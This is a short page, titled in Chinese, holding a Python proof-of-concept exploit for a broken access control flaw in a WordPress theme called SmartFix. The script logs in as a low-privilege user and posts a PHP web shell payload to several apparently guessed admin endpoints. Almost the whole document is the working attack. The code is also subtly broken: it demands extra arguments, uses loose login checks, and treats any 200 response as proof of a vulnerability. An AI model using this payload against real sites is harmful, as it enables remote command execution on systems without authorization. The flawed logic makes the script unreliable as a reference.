CVE-2026-32391 SmartFix主题访问控制漏洞

import requests import sys # CVE-2026-32391 PoC - SmartFix Broken Access Control # Target: WordPress site with SmartFix theme < 1.2.4 def exploit_smartfix(target_url, username, password): """ Exploit missing authorization in SmartFix theme. This PoC demonstrates accessing admin functions as low-privilege user. """ session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wp-admin' not in response.url and 'invalid' not in response.text.lower(): print("[-] Login failed") return False print("[+] Logged in as low-privilege user") # Step 2: Access SmartFix theme settings without proper authorization # This endpoint should require admin privileges but doesn't vulnerable_endpoints = [ '/wp-admin/admin-ajax.php?action=smartfix_settings_update', '/wp-admin/admin-ajax.php?action=smartfix_save_config', '/wp-content/themes/smartfix/includes/ajax-handler.php' ] for endpoint in vulnerable_endpoints: evil_url = target_url + endpoint evil_data = { 'setting_name': 'malicious_setting', 'setting_value': '<?php system($_GET["cmd"]); ?>' } response = session.get(evil_url, params=evil_data) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text[:200]}") return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_smartfix(target, user, pwd)